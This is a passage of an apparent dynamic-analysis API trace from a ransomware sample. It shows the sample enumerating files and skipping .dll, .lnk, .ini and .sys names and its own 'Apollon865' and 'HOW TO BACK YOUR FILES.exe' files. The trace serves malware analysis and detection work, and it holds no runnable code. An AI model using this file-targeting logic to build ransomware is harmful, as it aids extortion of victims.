	[0065.489] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".ini") returned 1
	[0065.489] lstrlenW (lpString=".sys") returned 4
	[0065.489] lstrcmpiW (lpString1="ADVTEL.DIC", lpString2=".sys") returned 1
	[0065.489] lstrlenW (lpString="ADVTEL.DIC") returned 10
	[0065.489] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ADVZIP.DIC" | out: lpString1="ADVZIP.DIC") returned="ADVZIP.DIC"
	[0065.489] lstrlenW (lpString="ADVZIP.DIC") returned 10
	[0065.489] lstrlenW (lpString="Apollon865") returned 10
	[0065.489] lstrlenW (lpString=".dll") returned 4
	[0065.489] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".dll") returned 1
	[0065.489] lstrlenW (lpString=".lnk") returned 4
	[0065.489] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".lnk") returned 1
	[0065.489] lstrlenW (lpString=".ini") returned 4
	[0065.490] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".ini") returned 1
	[0065.490] lstrlenW (lpString=".sys") returned 4
	[0065.490] lstrcmpiW (lpString1="ADVZIP.DIC", lpString2=".sys") returned 1
	[0065.490] lstrlenW (lpString="ADVZIP.DIC") returned 10
	[0065.490] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AEC.DLL" | out: lpString1="AEC.DLL") returned="AEC.DLL"
	[0065.490] lstrlenW (lpString="AEC.DLL") returned 7
	[0065.490] lstrlenW (lpString="Apollon865") returned 10
	[0065.490] lstrlenW (lpString=".dll") returned 4
	[0065.490] lstrcmpiW (lpString1="AEC.DLL", lpString2=".dll") returned 1
	[0065.490] lstrlenW (lpString=".lnk") returned 4
	[0065.490] lstrcmpiW (lpString1="AEC.DLL", lpString2=".lnk") returned 1
	[0065.490] lstrlenW (lpString=".ini") returned 4
	[0065.490] lstrcmpiW (lpString1="AEC.DLL", lpString2=".ini") returned 1
	[0065.490] lstrlenW (lpString=".sys") returned 4
	[0065.490] lstrcmpiW (lpString1="AEC.DLL", lpString2=".sys") returned 1
	[0065.490] lstrlenW (lpString="AEC.DLL") returned 7
	[0065.490] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AECUTILS.DLL" | out: lpString1="AECUTILS.DLL") returned="AECUTILS.DLL"
	[0065.490] lstrlenW (lpString="AECUTILS.DLL") returned 12
	[0065.490] lstrlenW (lpString="Apollon865") returned 10
	[0065.490] lstrcmpiW (lpString1="CUTILS.DLL", lpString2="Apollon865") returned 1
	[0065.490] lstrlenW (lpString=".dll") returned 4
	[0065.490] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".dll") returned 1
	[0065.490] lstrlenW (lpString=".lnk") returned 4
	[0065.490] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".lnk") returned 1
	[0065.490] lstrlenW (lpString=".ini") returned 4
	[0065.490] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".ini") returned 1
	[0065.491] lstrlenW (lpString=".sys") returned 4
	[0065.491] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".sys") returned 1
	[0065.491] lstrlenW (lpString="AECUTILS.DLL") returned 12
	[0065.491] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="ASCIIENG.LNG" | out: lpString1="ASCIIENG.LNG") returned="ASCIIENG.LNG"
	[0065.491] lstrlenW (lpString="ASCIIENG.LNG") returned 12
	[0065.491] lstrlenW (lpString="Apollon865") returned 10
	[0065.491] lstrcmpiW (lpString1="CIIENG.LNG", lpString2="Apollon865") returned 1
	[0065.491] lstrlenW (lpString=".dll") returned 4
	[0065.491] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".dll") returned 1
	[0065.491] lstrlenW (lpString=".lnk") returned 4
	[0065.491] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".lnk") returned 1
	[0065.491] lstrlenW (lpString=".ini") returned 4
	[0065.491] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".ini") returned 1
	[0065.491] lstrlenW (lpString=".sys") returned 4
	[0065.491] lstrcmpiW (lpString1="ASCIIENG.LNG", lpString2=".sys") returned 1
	[0065.491] lstrlenW (lpString="ASCIIENG.LNG") returned 12
	[0065.491] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AUDIOSEARCHLTS.DLL" | out: lpString1="AUDIOSEARCHLTS.DLL") returned="AUDIOSEARCHLTS.DLL"
	[0065.491] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18
	[0065.491] lstrlenW (lpString="Apollon865") returned 10
	[0065.491] lstrcmpiW (lpString1="RCHLTS.DLL", lpString2="Apollon865") returned 1
	[0065.492] lstrlenW (lpString=".dll") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".dll") returned 1
	[0065.492] lstrlenW (lpString=".lnk") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".lnk") returned 1
	[0065.492] lstrlenW (lpString=".ini") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".ini") returned 1
	[0065.492] lstrlenW (lpString=".sys") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHLTS.DLL", lpString2=".sys") returned 1
	[0065.492] lstrlenW (lpString="AUDIOSEARCHLTS.DLL") returned 18
	[0065.492] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AUDIOSEARCHMAIN.DLL" | out: lpString1="AUDIOSEARCHMAIN.DLL") returned="AUDIOSEARCHMAIN.DLL"
	[0065.492] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19
	[0065.492] lstrlenW (lpString="Apollon865") returned 10
	[0065.492] lstrcmpiW (lpString1="CHMAIN.DLL", lpString2="Apollon865") returned 1
	[0065.492] lstrlenW (lpString=".dll") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".dll") returned 1
	[0065.492] lstrlenW (lpString=".lnk") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".lnk") returned 1
	[0065.492] lstrlenW (lpString=".ini") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".ini") returned 1
	[0065.492] lstrlenW (lpString=".sys") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHMAIN.DLL", lpString2=".sys") returned 1
	[0065.492] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19
	[0065.492] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AUDIOSEARCHSAPIFE.DLL" | out: lpString1="AUDIOSEARCHSAPIFE.DLL") returned="AUDIOSEARCHSAPIFE.DLL"
	[0065.492] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21
	[0065.492] lstrlenW (lpString="Apollon865") returned 10
	[0065.492] lstrcmpiW (lpString1="SAPIFE.DLL", lpString2="Apollon865") returned 1
	[0065.492] lstrlenW (lpString=".dll") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".dll") returned 1
	[0065.492] lstrlenW (lpString=".lnk") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".lnk") returned 1
	[0065.492] lstrlenW (lpString=".ini") returned 4
	[0065.492] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".ini") returned 1
	[0065.493] lstrlenW (lpString=".sys") returned 4
	[0065.493] lstrcmpiW (lpString1="AUDIOSEARCHSAPIFE.DLL", lpString2=".sys") returned 1
	[0065.493] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21
	[0065.493] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AUTHZAX.DLL" | out: lpString1="AUTHZAX.DLL") returned="AUTHZAX.DLL"
	[0065.493] lstrlenW (lpString="AUTHZAX.DLL") returned 11
	[0065.493] lstrlenW (lpString="Apollon865") returned 10
	[0065.493] lstrcmpiW (lpString1="UTHZAX.DLL", lpString2="Apollon865") returned 1
	[0065.493] lstrlenW (lpString=".dll") returned 4
	[0065.493] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".dll") returned 1
	[0065.493] lstrlenW (lpString=".lnk") returned 4
	[0065.493] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".lnk") returned 1
	[0065.493] lstrlenW (lpString=".ini") returned 4
	[0065.493] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".ini") returned 1
	[0065.493] lstrlenW (lpString=".sys") returned 4
	[0065.493] lstrcmpiW (lpString1="AUTHZAX.DLL", lpString2=".sys") returned 1
	[0065.493] lstrlenW (lpString="AUTHZAX.DLL") returned 11
	[0065.493] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSAutogen.dll" | out: lpString1="BCSAutogen.dll") returned="BCSAutogen.dll"
	[0065.493] lstrlenW (lpString="BCSAutogen.dll") returned 14
	[0065.493] lstrlenW (lpString="Apollon865") returned 10
	[0065.493] lstrcmpiW (lpString1="utogen.dll", lpString2="Apollon865") returned 1
	[0065.493] lstrlenW (lpString=".dll") returned 4
	[0065.493] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".dll") returned 1
	[0065.493] lstrlenW (lpString=".lnk") returned 4
	[0065.493] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".lnk") returned 1
	[0065.493] lstrlenW (lpString=".ini") returned 4
	[0065.493] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".ini") returned 1
	[0065.493] lstrlenW (lpString=".sys") returned 4
	[0065.493] lstrcmpiW (lpString1="BCSAutogen.dll", lpString2=".sys") returned 1
	[0065.493] lstrlenW (lpString="BCSAutogen.dll") returned 14
	[0065.494] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSClient.Msg.dll" | out: lpString1="BCSClient.Msg.dll") returned="BCSClient.Msg.dll"
	[0065.494] lstrlenW (lpString="BCSClient.Msg.dll") returned 17
	[0065.494] lstrlenW (lpString="Apollon865") returned 10
	[0065.494] lstrcmpiW (lpString1="nt.Msg.dll", lpString2="Apollon865") returned 1
	[0065.494] lstrlenW (lpString=".dll") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".dll") returned 1
	[0065.494] lstrlenW (lpString=".lnk") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".lnk") returned 1
	[0065.494] lstrlenW (lpString=".ini") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".ini") returned 1
	[0065.494] lstrlenW (lpString=".sys") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClient.Msg.dll", lpString2=".sys") returned 1
	[0065.494] lstrlenW (lpString="BCSClient.Msg.dll") returned 17
	[0065.494] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSClientManifest.man" | out: lpString1="BCSClientManifest.man") returned="BCSClientManifest.man"
	[0065.494] lstrlenW (lpString="BCSClientManifest.man") returned 21
	[0065.494] lstrlenW (lpString="Apollon865") returned 10
	[0065.494] lstrcmpiW (lpString1="nifest.man", lpString2="Apollon865") returned 1
	[0065.494] lstrlenW (lpString=".dll") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".dll") returned 1
	[0065.494] lstrlenW (lpString=".lnk") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".lnk") returned 1
	[0065.494] lstrlenW (lpString=".ini") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".ini") returned 1
	[0065.494] lstrlenW (lpString=".sys") returned 4
	[0065.494] lstrcmpiW (lpString1="BCSClientManifest.man", lpString2=".sys") returned 1
	[0065.494] lstrlenW (lpString="BCSClientManifest.man") returned 21
	[0065.494] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSEvents.man" | out: lpString1="BCSEvents.man") returned="BCSEvents.man"
	[0065.494] lstrlenW (lpString="BCSEvents.man") returned 13
	[0065.494] lstrlenW (lpString="Apollon865") returned 10
	[0065.494] lstrcmpiW (lpString1="Events.man", lpString2="Apollon865") returned 1
	[0065.495] lstrlenW (lpString=".dll") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".dll") returned 1
	[0065.495] lstrlenW (lpString=".lnk") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".lnk") returned 1
	[0065.495] lstrlenW (lpString=".ini") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".ini") returned 1
	[0065.495] lstrlenW (lpString=".sys") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSEvents.man", lpString2=".sys") returned 1
	[0065.495] lstrlenW (lpString="BCSEvents.man") returned 13
	[0065.495] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSLaunch.dll" | out: lpString1="BCSLaunch.dll") returned="BCSLaunch.dll"
	[0065.495] lstrlenW (lpString="BCSLaunch.dll") returned 13
	[0065.495] lstrlenW (lpString="Apollon865") returned 10
	[0065.495] lstrcmpiW (lpString1="Launch.dll", lpString2="Apollon865") returned 1
	[0065.495] lstrlenW (lpString=".dll") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".dll") returned 1
	[0065.495] lstrlenW (lpString=".lnk") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".lnk") returned 1
	[0065.495] lstrlenW (lpString=".ini") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".ini") returned 1
	[0065.495] lstrlenW (lpString=".sys") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSLaunch.dll", lpString2=".sys") returned 1
	[0065.495] lstrlenW (lpString="BCSLaunch.dll") returned 13
	[0065.495] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSProxy.dll" | out: lpString1="BCSProxy.dll") returned="BCSProxy.dll"
	[0065.495] lstrlenW (lpString="BCSProxy.dll") returned 12
	[0065.495] lstrlenW (lpString="Apollon865") returned 10
	[0065.495] lstrcmpiW (lpString1="SProxy.dll", lpString2="Apollon865") returned 1
	[0065.495] lstrlenW (lpString=".dll") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".dll") returned 1
	[0065.495] lstrlenW (lpString=".lnk") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".lnk") returned 1
	[0065.495] lstrlenW (lpString=".ini") returned 4
	[0065.495] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".ini") returned 1
	[0065.496] lstrlenW (lpString=".sys") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSProxy.dll", lpString2=".sys") returned 1
	[0065.496] lstrlenW (lpString="BCSProxy.dll") returned 12
	[0065.496] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSRuntime.dll" | out: lpString1="BCSRuntime.dll") returned="BCSRuntime.dll"
	[0065.496] lstrlenW (lpString="BCSRuntime.dll") returned 14
	[0065.496] lstrlenW (lpString="Apollon865") returned 10
	[0065.496] lstrcmpiW (lpString1="untime.dll", lpString2="Apollon865") returned 1
	[0065.496] lstrlenW (lpString=".dll") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".dll") returned 1
	[0065.496] lstrlenW (lpString=".lnk") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".lnk") returned 1
	[0065.496] lstrlenW (lpString=".ini") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".ini") returned 1
	[0065.496] lstrlenW (lpString=".sys") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntime.dll", lpString2=".sys") returned 1
	[0065.496] lstrlenW (lpString="BCSRuntime.dll") returned 14
	[0065.496] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSRuntimeUI.dll" | out: lpString1="BCSRuntimeUI.dll") returned="BCSRuntimeUI.dll"
	[0065.496] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16
	[0065.496] lstrlenW (lpString="Apollon865") returned 10
	[0065.496] lstrcmpiW (lpString1="timeUI.dll", lpString2="Apollon865") returned 1
	[0065.496] lstrlenW (lpString=".dll") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".dll") returned 1
	[0065.496] lstrlenW (lpString=".lnk") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".lnk") returned 1
	[0065.496] lstrlenW (lpString=".ini") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".ini") returned 1
	[0065.496] lstrlenW (lpString=".sys") returned 4
	[0065.496] lstrcmpiW (lpString1="BCSRuntimeUI.dll", lpString2=".sys") returned 1
	[0065.496] lstrlenW (lpString="BCSRuntimeUI.dll") returned 16
	[0065.497] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSStr32.dll" | out: lpString1="BCSStr32.dll") returned="BCSStr32.dll"
	[0065.497] lstrlenW (lpString="BCSStr32.dll") returned 12
	[0065.497] lstrlenW (lpString="Apollon865") returned 10
	[0065.497] lstrcmpiW (lpString1="SStr32.dll", lpString2="Apollon865") returned 1
	[0065.497] lstrlenW (lpString=".dll") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".dll") returned 1
	[0065.497] lstrlenW (lpString=".lnk") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".lnk") returned 1
	[0065.497] lstrlenW (lpString=".ini") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".ini") returned 1
	[0065.497] lstrlenW (lpString=".sys") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSStr32.dll", lpString2=".sys") returned 1
	[0065.497] lstrlenW (lpString="BCSStr32.dll") returned 12
	[0065.497] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BCSSync.exe" | out: lpString1="BCSSync.exe") returned="BCSSync.exe"
	[0065.497] lstrlenW (lpString="BCSSync.exe") returned 11
	[0065.497] lstrlenW (lpString="Apollon865") returned 10
	[0065.497] lstrcmpiW (lpString1="CSSync.exe", lpString2="Apollon865") returned 1
	[0065.497] lstrlenW (lpString=".dll") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".dll") returned 1
	[0065.497] lstrlenW (lpString=".lnk") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".lnk") returned 1
	[0065.497] lstrlenW (lpString=".ini") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".ini") returned 1
	[0065.497] lstrlenW (lpString=".sys") returned 4
	[0065.497] lstrcmpiW (lpString1="BCSSync.exe", lpString2=".sys") returned 1
	[0065.497] lstrlenW (lpString="BCSSync.exe") returned 11
	[0065.498] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="bdcmetadata.xsd" | out: lpString1="bdcmetadata.xsd") returned="bdcmetadata.xsd"
	[0065.498] lstrlenW (lpString="bdcmetadata.xsd") returned 15
	[0065.498] lstrlenW (lpString="Apollon865") returned 10
	[0065.498] lstrcmpiW (lpString1="tadata.xsd", lpString2="Apollon865") returned 1
	[0065.498] lstrlenW (lpString=".dll") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".dll") returned 1
	[0065.498] lstrlenW (lpString=".lnk") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".lnk") returned 1
	[0065.498] lstrlenW (lpString=".ini") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".ini") returned 1
	[0065.498] lstrlenW (lpString=".sys") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadata.xsd", lpString2=".sys") returned 1
	[0065.498] lstrlenW (lpString="bdcmetadata.xsd") returned 15
	[0065.498] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="bdcmetadataresource.xsd" | out: lpString1="bdcmetadataresource.xsd") returned="bdcmetadataresource.xsd"
	[0065.498] lstrlenW (lpString="bdcmetadataresource.xsd") returned 23
	[0065.498] lstrlenW (lpString="Apollon865") returned 10
	[0065.498] lstrcmpiW (lpString1="source.xsd", lpString2="Apollon865") returned 1
	[0065.498] lstrlenW (lpString=".dll") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".dll") returned 1
	[0065.498] lstrlenW (lpString=".lnk") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".lnk") returned 1
	[0065.498] lstrlenW (lpString=".ini") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".ini") returned 1
	[0065.498] lstrlenW (lpString=".sys") returned 4
	[0065.498] lstrcmpiW (lpString1="bdcmetadataresource.xsd", lpString2=".sys") returned 1
	[0065.498] lstrlenW (lpString="bdcmetadataresource.xsd") returned 23
	[0065.498] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="Bibliography" | out: lpString1="Bibliography") returned="Bibliography"
	[0065.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0065.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59aa10
	[0065.499] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0065.499] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0065.499] lstrcmpiW (lpString1="BORDERS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.499] lstrcmpiW (lpString1="BORDERS", lpString2="Apollon865.txt.exe") returned 1
	[0065.499] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BORDERS" | out: lpString1="BORDERS") returned="BORDERS"
	[0065.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0065.499] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599f60
	[0065.499] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0065.499] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1
	[0065.499] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.499] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2="Apollon865.txt.exe") returned 1
	[0065.499] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BRTVIEW.DLL" | out: lpString1="BRTVIEW.DLL") returned="BRTVIEW.DLL"
	[0065.499] lstrlenW (lpString="BRTVIEW.DLL") returned 11
	[0065.499] lstrlenW (lpString="Apollon865") returned 10
	[0065.499] lstrcmpiW (lpString1="RTVIEW.DLL", lpString2="Apollon865") returned 1
	[0065.499] lstrlenW (lpString=".dll") returned 4
	[0065.499] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".dll") returned 1
	[0065.499] lstrlenW (lpString=".lnk") returned 4
	[0065.499] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".lnk") returned 1
	[0065.499] lstrlenW (lpString=".ini") returned 4
	[0065.499] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".ini") returned 1
	[0065.499] lstrlenW (lpString=".sys") returned 4
	[0065.499] lstrcmpiW (lpString1="BRTVIEW.DLL", lpString2=".sys") returned 1
	[0065.499] lstrlenW (lpString="BRTVIEW.DLL") returned 11
	[0065.499] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="BSTORM.DLL" | out: lpString1="BSTORM.DLL") returned="BSTORM.DLL"
	[0065.499] lstrlenW (lpString="BSTORM.DLL") returned 10
	[0065.499] lstrlenW (lpString="Apollon865") returned 10
	[0065.499] lstrlenW (lpString=".dll") returned 4
	[0065.499] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".dll") returned 1
	[0065.499] lstrlenW (lpString=".lnk") returned 4
	[0065.499] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".lnk") returned 1
	[0065.500] lstrlenW (lpString=".ini") returned 4
	[0065.500] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".ini") returned 1
	[0065.500] lstrlenW (lpString=".sys") returned 4
	[0065.500] lstrcmpiW (lpString1="BSTORM.DLL", lpString2=".sys") returned 1
	[0065.500] lstrlenW (lpString="BSTORM.DLL") returned 10
	[0065.500] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CDLMSO.DLL" | out: lpString1="CDLMSO.DLL") returned="CDLMSO.DLL"
	[0065.500] lstrlenW (lpString="CDLMSO.DLL") returned 10
	[0065.500] lstrlenW (lpString="Apollon865") returned 10
	[0065.500] lstrlenW (lpString=".dll") returned 4
	[0065.500] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".dll") returned 1
	[0065.500] lstrlenW (lpString=".lnk") returned 4
	[0065.500] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".lnk") returned 1
	[0065.500] lstrlenW (lpString=".ini") returned 4
	[0065.500] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".ini") returned 1
	[0065.500] lstrlenW (lpString=".sys") returned 4
	[0065.500] lstrcmpiW (lpString1="CDLMSO.DLL", lpString2=".sys") returned 1
	[0065.500] lstrlenW (lpString="CDLMSO.DLL") returned 10
	[0065.500] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CGMIMP32.HLP" | out: lpString1="CGMIMP32.HLP") returned="CGMIMP32.HLP"
	[0065.500] lstrlenW (lpString="CGMIMP32.HLP") returned 12
	[0065.500] lstrlenW (lpString="Apollon865") returned 10
	[0065.500] lstrcmpiW (lpString1="MIMP32.HLP", lpString2="Apollon865") returned 1
	[0065.500] lstrlenW (lpString=".dll") returned 4
	[0065.500] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".dll") returned 1
	[0065.500] lstrlenW (lpString=".lnk") returned 4
	[0065.500] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".lnk") returned 1
	[0065.500] lstrlenW (lpString=".ini") returned 4
	[0065.500] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".ini") returned 1
	[0065.500] lstrlenW (lpString=".sys") returned 4
	[0065.500] lstrcmpiW (lpString1="CGMIMP32.HLP", lpString2=".sys") returned 1
	[0065.500] lstrlenW (lpString="CGMIMP32.HLP") returned 12
	[0065.501] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CharSetTable.chr" | out: lpString1="CharSetTable.chr") returned="CharSetTable.chr"
	[0065.501] lstrlenW (lpString="CharSetTable.chr") returned 16
	[0065.501] lstrlenW (lpString="Apollon865") returned 10
	[0065.501] lstrcmpiW (lpString1="tTable.chr", lpString2="Apollon865") returned 1
	[0065.501] lstrlenW (lpString=".dll") returned 4
	[0065.501] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".dll") returned 1
	[0065.501] lstrlenW (lpString=".lnk") returned 4
	[0065.501] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".lnk") returned 1
	[0065.501] lstrlenW (lpString=".ini") returned 4
	[0065.501] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".ini") returned 1
	[0065.501] lstrlenW (lpString=".sys") returned 4
	[0065.501] lstrcmpiW (lpString1="CharSetTable.chr", lpString2=".sys") returned 1
	[0065.501] lstrlenW (lpString="CharSetTable.chr") returned 16
	[0065.501] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="CLVIEW.EXE" | out: lpString1="CLVIEW.EXE") returned="CLVIEW.EXE"
	[0065.501] lstrlenW (lpString="CLVIEW.EXE") returned 10
	[0065.501] lstrlenW (lpString="Apollon865") returned 10
	[0065.501] lstrlenW (lpString=".dll") returned 4
	[0065.501] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".dll") returned 1
	[0065.501] lstrlenW (lpString=".lnk") returned 4
	[0065.501] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".lnk") returned 1
	[0065.501] lstrlenW (lpString=".ini") returned 4
	[0065.501] lstrcmpiW (lpString1="CLVIEW.EXE", lpString2=".ini") returned 1
	[0065.501] lstrlenW (lpString=".sys") returned 4
